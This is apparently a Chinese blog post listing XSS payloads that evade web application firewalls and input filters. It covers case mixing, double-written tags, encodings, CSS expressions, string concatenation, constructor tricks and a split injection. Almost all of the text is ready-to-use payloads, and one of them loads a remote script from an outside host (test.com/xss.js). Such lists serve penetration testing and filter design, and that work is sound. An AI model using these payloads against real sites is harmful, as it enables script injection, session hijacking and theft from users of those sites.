xss绕过waf(常用)

目录

xss

1. 前端过滤

3. 事件绕过

4. 大小写绕过

5. 注释干扰绕过

6. 伪协议绕过

7. 空格回车Tab绕过

8. 编码绕过

1. base64编码:

2. JS编码:

3. 十六进制:

4. unicode:

5. HTML实体编码:

6. URL编码:

Ascii码绕过

9. CSS绕过

1. 利用IE特性绕过XSS过滤:

2. 利用css特性绕过xss过滤:

3. IE中利用CSS触发xss:

10.过滤空格

11.字符拼接

利用eval

利用top

利用window

利用self

利用parent

利用frames

12.其它字符混淆

13.过滤双引号,单引号

14.过滤括号

15.alert 过滤

prompt 替换

confirm 替换

console.log 替换

document.write 替换

base64 绕过

16.常用函数

17.赋值拼接

18.拆分法

19.上传文件构造xss


xss

1. 前端过滤

burp抓包改包绕过

2. 双写绕过

<scri<script>pt>alert(111)</scri<script>pt>

3. 事件绕过

如:onclickonmousemove事件

οnmοuseοver="alert('yyds')"

4. 大小写绕过

<SCRIPT>aLeRT(111)</sCRIpt>

5. 注释干扰绕过

如:<scri<!--test--> pt> alert(1);</scr<!--test--> ipt>

6. 伪协议绕过

:111"> <a href="javascript:alert(document.domain)">xss</a>

< table background= "javascript:alert(/xss/)"> </table>

<img srC= "javascript:alert('ss);" >

7. 空格回车Tab绕过

空格:<img src= "javascript:alert('xss');" >

TAB< img src= "javasc :ript:alert('ss');" >

回车:< img src= "jav

ascript:

alert('xss');" >

8. 编码绕过

1. base64编码:

如果过滤了 < > ' " script,可以用base64编码

eval(") eval函数把字符串 当做程序执行atob函数是将base64密文转换为名文

"> <script> eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ== ));</script>

base64编码多用于如下两种情况:

1. <a href= "可控点">

2. < iframe src= "可控点">

举例:

<a href= "data:text/html;base64,PGItZyBzcmM9eCBvbmVycm9yPWFsZXJOKDEpPg==">test<

/a>

这样当test A链接点击时就会以data协议页面以html/text的方式解析编码为base64然后单点击

a链接时base64的编码就被还原成我们原本的< img src=x οnerrοr= alert(1)>

2. JS编码:

八进制:

三个八进制数字,如果个数不够,在前面补0,例如"e'的编码为"\145"

3. 十六进制:

两个十六进制数字,如果个数不够,在前面补0'e'的编码为"\x65"

十六进制前面加上\x可以被JS识别

尖括号被转义时,利用十六进制绕过

如:\\x3cscript\\x3ealert(document.domain);\x3c/script\x3e

4. unicode

四个十六进制数字,如果个数不够,在前面补0'e'的编码为"\u0065"

十六进制前面加上\u00变成JS可识别的Unicode编码

\\u003cscript\u003ealert(document.domain);\\u003c/script\\u003e

对于一些控制字符,使用特殊的C类型的转义风格(例如\n\r)

5. HTML实体编码:

字符编码:十进制、十六进制编码,样式为"&#数值;",例如"<"可以编码为"<"<"

<img src="x"οnerrοr= "al&# 101;r 16;(1)">

浏览器是不会在html|标签里解析js编码的,所以我们在οnerrοr=后面放js中的编码是不会解析你放进去是什么就是什么

6. URL编码:

进行两次URL全编码

<img src="x" οnerrοr="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">

Ascii码绕过

<img src="x"

οnerrοr="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">

9. CSS绕过

1. 利用IE特性绕过XSS过滤:

IE中两个反单引号hgj `` 可以闭合一个左边双引号

``οnmοusemοve= alert(1)

2. 利用css特性绕过xss过滤:

设置background:url,利用JavaScript伪协议执行js,目前只有IE浏览器支持

background-color:# f00;background:url(javascript:alert(document.domain);");

低版本IE浏览器6 10 D版本弹窗成功

3. IE中利用CSS触发xss:

CSS中的注释/**/

xss:expres/**/sion(if(!window.x){alert(document.domain);window.x= 1;})

10.过滤空格

<html><imgAAsrcAAonerrorBB=BBalertCC(1)DD</html>

A位置可填充 //123/%09%0A%0C%0D%20 B位置可填充 %09%0A%0C%0D%20 C位置可填充 %0B/**/,如果加了双引号,则可以填充 %09%0A%0C%0D%20 D位置可填充 %09%0A%0C%0D%20//>

11.字符拼接

利用eval

<img src="x" οnerrοr="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">

利用top

<img src="x" οnerrοr="top['al'+'ert'](1)">

利用window

<img src="x" οnerrοr="window['al'+'ert'](1)">

利用self

<img src="x" οnerrοr="self[`al`+`ert`](1)">

利用parent

<img src="x" οnerrοr="parent[`al`+`ert`](1)">

利用frames

<img src="x" οnerrοr="frames[`al`+`ert`](1)">

12.其它字符混淆

<<script>alert("xss");//<</script>

<title><img src=</title>><img src=x οnerrοr="alert(`xss`);"> //因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效

<SCRIPT>var a="\\";alert("xss");//";</SCRIPT>

13.过滤双引号,单引号

用反引号代替单双引号

<img src="x" οnerrοr=alert(`xss`);>

14.过滤括号

当括号被过滤的时候可以使用throw来绕过

<svg/οnlοad="window.οnerrοr=eval;throw'=alert\x281\x29';">

15.alert 过滤

prompt 替换

<script>prompt(/xss/)</script>

confirm 替换

<script>confirm(/xss/)</script>

console.log 替换

<script>console.log(3)</script>

document.write 替换

<script>document.write(1)</script>

base64 绕过

<img src=x οnerrοr="Function`a${atob`YWxlcnQoMSk=`}```">

<img src=x

οnerrοr="``.constructor.constructor`a${atob`YWxlcnQoMSk=`}```">

16.常用函数

<img src="x" οnerrοr="eval(alert(1))">

<img src="x" οnerrοr="open(alert(1))">

<img src="x" οnerrοr="document.write(alert(1))">

<img src="x" οnerrοr="setTimeout(alert(1))">

<img src="x" οnerrοr="setInterval(alert(1))">

<img src="x" οnerrοr="Set.constructor(alert(1))">

<img src="x" οnerrοr="Map.constructor(alert(1))">

<img src="x" οnerrοr="Array.constructor(alert(1))">

<img src="x" οnerrοr="WeakSet.constructor(alert(1))">

<img src="x" οnerrοr="constructor.constructor(alert(1))">

<img src="x" οnerrοr="[1].map(alert(1))">

<img src="x" οnerrοr="[1].find(alert(1))">

<img src="x" οnerrοr="[1].every(alert(1))">

<img src="x" οnerrοr="[1].filter(alert(1))">

<img src="x" οnerrοr="[1].forEach(alert(1))">

<img src="x" οnerrοr="[1].findIndex(alert(1))">

17.赋值拼接

<img src οnerrοr=_=alert,_(1)>

<img src x=al y=ert οnerrοr=top[x+y](1)>

<img src οnerrοr=top[a='al',b='ev',b+a]('alert(1)')>

<img src οnerrοr=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>

18.拆分法

Web 应用程序对目标用户的输入长度进行了限制时,这时无法注入较长的xss攻击向量,但是特定情况下,这种限制可以通过拆分法注入的方式进行绕过

<script>a='document.write("'</script>

<script>a=a+'<script src=ht'</script>

<script>a=a+'tp://test.com/xs'</script>

<script>a=a+'s.js></script>")'</script>

<script>eval(a)</script>

通过上面的拆分法可以拼凑出下面完整的攻击向量:

document.write("<script src = http://test.com/xss.js></script>")

19.上传文件构造xss

上传普通文件更改文件名为xss语句

<script>alert(110)</script>.gif/png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值